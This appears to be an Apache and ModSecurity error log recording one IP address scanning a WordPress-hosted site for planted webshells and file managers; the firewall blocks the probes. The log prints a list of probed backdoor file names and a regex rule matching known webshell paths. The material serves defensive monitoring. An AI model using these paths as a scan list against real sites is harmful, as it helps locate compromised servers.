[Fri Apr 17 07:55:10.184845 2026] [:error] [pid 34273:tid 34282] [client 172.213.155.173:40398] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aeF23muQDW686mK3dgEomwAAAYc"]
[Fri Apr 17 07:55:11.329006 2026] [:error] [pid 9151:tid 9164] [client 172.213.155.173:54859] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeF238hTVuRPkua22vTPQwAAAAM"]
[Fri Apr 17 07:55:12.705302 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:33494] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeF24GuQDW686mK3dgEooQAAAYI"]
[Fri Apr 17 07:55:15.065682 2026] [:error] [pid 34273:tid 34286] [client 172.213.155.173:4961] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeF242uQDW686mK3dgEorQAAAYs"]
[Fri Apr 17 07:55:16.613041 2026] [:error] [pid 9151:tid 9169] [client 172.213.155.173:50094] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aeF25MhTVuRPkua22vTPSwAAAAg"]
[Fri Apr 17 07:55:18.424723 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:54850] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeF25pJYca8I3TNCwIdQvwAAAFU"]
[Fri Apr 17 07:55:19.508198 2026] [:error] [pid 9152:tid 9207] [client 172.213.155.173:54872] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeF255JYca8I3TNCwIdQwAAAAFE"]
[Fri Apr 17 07:55:20.204864 2026] [:error] [pid 9151:tid 9179] [client 172.213.155.173:50072] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeF26MhTVuRPkua22vTPTwAAABI"]
[Fri Apr 17 07:55:21.810631 2026] [:error] [pid 9153:tid 9230] [client 172.213.155.173:33534] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aeF26eMHGxkTZX3c45dmQgAAAIw"]
[Fri Apr 17 07:55:23.621178 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:33476] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeF262uQDW686mK3dgEovwAAAYU"]
[Fri Apr 17 07:55:24.220463 2026] [:error] [pid 9151:tid 9181] [client 172.213.155.173:23436] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeF27MhTVuRPkua22vTPUQAAABQ"]
[Fri Apr 17 07:55:25.203533 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:65230] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeF27WuQDW686mK3dgEowwAAAY0"]
[Fri Apr 17 07:55:26.313353 2026] [:error] [pid 34273:tid 34298] [client 172.213.155.173:20332] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeF27muQDW686mK3dgEoyAAAAZc"]
[Fri Apr 17 07:55:27.316089 2026] [:error] [pid 34273:tid 34296] [client 172.213.155.173:20322] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeF272uQDW686mK3dgEozQAAAZU"]
[Fri Apr 17 07:55:28.307395 2026] [:error] [pid 25010:tid 25031] [client 172.213.155.173:40441] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeF28I-7kkf42RarqQ3woAAAAVI"]
[Fri Apr 17 07:55:29.719824 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:54886] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeF28WuQDW686mK3dgEo1QAAAYU"]
[Fri Apr 17 07:55:30.256750 2026] [:error] [pid 34273:tid 34298] [client 172.213.155.173:40393] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeF28muQDW686mK3dgEo2QAAAZc"]
[Fri Apr 17 07:55:31.168098 2026] [:error] [pid 34273:tid 34287] [client 172.213.155.173:4986] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeF282uQDW686mK3dgEo4AAAAYw"]
[Fri Apr 17 07:55:31.894431 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:40422] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeF282uQDW686mK3dgEo5QAAAY4"]
[Fri Apr 17 07:55:32.860500 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:58783] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeF29GuQDW686mK3dgEo6AAAAZE"]
[Fri Apr 17 07:55:33.849761 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:20318] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeF29ZJYca8I3TNCwIdQzAAAAFU"]
[Fri Apr 17 07:55:34.654862 2026] [:error] [pid 9152:tid 9202] [client 172.213.155.173:54848] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeF29pJYca8I3TNCwIdQ0wAAAEw"]
[Fri Apr 17 07:55:35.321327 2026] [:error] [pid 9263:tid 9279] [client 172.213.155.173:50055] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeF29xP68VyHNvj1e55IPwAAAM4"]
[Fri Apr 17 07:55:36.051910 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:40394] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeF2-GuQDW686mK3dgEo9AAAAZY"]
[Fri Apr 17 07:55:36.710590 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:33498] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeF2-GuQDW686mK3dgEo9wAAAZE"]
[Fri Apr 17 07:55:37.508402 2026] [:error] [pid 34273:tid 34284] [client 172.213.155.173:4990] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aeF2-WuQDW686mK3dgEo_gAAAYk"]
[Fri Apr 17 07:55:38.079768 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:65246] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aeF2-muQDW686mK3dgEpAgAAAZY"]
[Fri Apr 17 07:55:39.633102 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:65221] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aeF2-2uQDW686mK3dgEpCAAAAZE"]
[Fri Apr 17 07:55:40.490173 2026] [:error] [pid 34273:tid 34296] [client 172.213.155.173:20334] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "aeF2_GuQDW686mK3dgEpCgAAAZU"]
[Fri Apr 17 07:55:41.305848 2026] [:error] [pid 34273:tid 34286] [client 172.213.155.173:33512] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny"] [unique_id "aeF2_WuQDW686mK3dgEpDAAAAYs"]
[Fri Apr 17 07:55:41.967497 2026] [:error] [pid 34273:tid 34278] [client 172.213.155.173:20339] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny"] [unique_id "aeF2_WuQDW686mK3dgEpDQAAAYM"]
[Fri Apr 17 07:55:42.974755 2026] [:error] [pid 51878:tid 51880] [client 172.213.155.173:50060] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny"] [unique_id "aeF2_knQhUtMbw9EsgbTPgAAAQA"]
[Fri Apr 17 07:55:43.537015 2026] [:error] [pid 25010:tid 25023] [client 172.213.155.173:17154] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny"] [unique_id "aeF2_4-7kkf42RarqQ3wpQAAAUo"]
[Fri Apr 17 07:55:44.301971 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:58784] [client 172.213.155.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aeF3AGuQDW686mK3dgEpEAAAAYA"]
[Fri Apr 17 07:55:45.000604 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Fri Apr 17 07:55:45.236604 2026] [:error] [pid 34273:tid 34289] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Fri Apr 17 07:55:45.510189 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Fri Apr 17 07:55:45.811227 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Fri Apr 17 07:55:46.046690 2026] [:error] [pid 34273:tid 34296] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/footer.php
[Fri Apr 17 07:55:46.298820 2026] [:error] [pid 34273:tid 34286] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/img.php
[Fri Apr 17 07:55:46.536596 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Fri Apr 17 07:55:46.773528 2026] [:error] [pid 34273:tid 34294] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Fri Apr 17 07:55:47.010120 2026] [:error] [pid 34273:tid 34284] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Fri Apr 17 07:55:47.313044 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Fri Apr 17 07:55:47.561173 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:50105] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Fri Apr 17 07:55:47.938112 2026] [:error] [pid 34273:tid 34291] [client 172.213.155.173:50105] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeF3A2uQDW686mK3dgEpLAAAAZA"]
[Fri Apr 17 07:55:48.934942 2026] [:error] [pid 9152:tid 9203] [client 172.213.155.173:33480] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeF3BJJYca8I3TNCwIdQ2gAAAE0"]
[Fri Apr 17 07:55:49.589404 2026] [:error] [pid 25010:tid 25027] [client 172.213.155.173:20345] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeF3BY-7kkf42RarqQ3wqAAAAU4"]
[Fri Apr 17 07:55:50.876205 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:4954] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aeF3BmuQDW686mK3dgEpLgAAAYQ"]
[Fri Apr 17 07:55:51.630581 2026] [:error] [pid 25010:tid 25030] [client 172.213.155.173:50097] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeF3B4-7kkf42RarqQ3wqgAAAVE"]
[Fri Apr 17 07:55:52.398032 2026] [:error] [pid 9263:tid 9282] [client 172.213.155.173:58811] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeF3CBP68VyHNvj1e55IQgAAANE"]
[Fri Apr 17 07:55:52.947584 2026] [:error] [pid 9263:tid 9275] [client 172.213.155.173:58753] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeF3CBP68VyHNvj1e55IRAAAAMo"]
[Fri Apr 17 07:55:53.721892 2026] [:error] [pid 9153:tid 9229] [client 172.213.155.173:58758] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "aeF3CeMHGxkTZX3c45dmaQAAAIs"]
[Fri Apr 17 07:55:54.521367 2026] [:error] [pid 9151:tid 9165] [client 172.213.155.173:65216] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeF3CshTVuRPkua22vTPVwAAAAQ"]
[Fri Apr 17 07:55:55.292775 2026] [:error] [pid 9263:tid 9271] [client 172.213.155.173:20333] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeF3CxP68VyHNvj1e55IRwAAAMY"]
[Fri Apr 17 07:55:55.976922 2026] [:error] [pid 34273:tid 34287] [client 172.213.155.173:33478] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeF3C2uQDW686mK3dgEpMAAAAYw"]
[Fri Apr 17 07:55:56.559161 2026] [:error] [pid 34273:tid 34278] [client 172.213.155.173:20330] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeF3DGuQDW686mK3dgEpNAAAAYM"]
[Fri Apr 17 07:55:57.360486 2026] [:error] [pid 34273:tid 34294] [client 172.213.155.173:40430] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeF3DWuQDW686mK3dgEpOAAAAZM"]
[Fri Apr 17 07:55:58.151141 2026] [:error] [pid 9263:tid 9266] [client 172.213.155.173:20289] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeF3DhP68VyHNvj1e55ISQAAAME"]
[Fri Apr 17 07:55:58.935031 2026] [:error] [pid 9263:tid 9281] [client 172.213.155.173:5001] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeF3DhP68VyHNvj1e55ISwAAANA"]
[Fri Apr 17 07:55:59.473419 2026] [:error] [pid 9153:tid 9222] [client 172.213.155.173:58776] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeF3D-MHGxkTZX3c45dmcAAAAIQ"]
[Fri Apr 17 07:56:00.420800 2026] [:error] [pid 9263:tid 9289] [client 172.213.155.173:33531] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/db.php"] [unique_id "aeF3EBP68VyHNvj1e55IUQAAANg"]
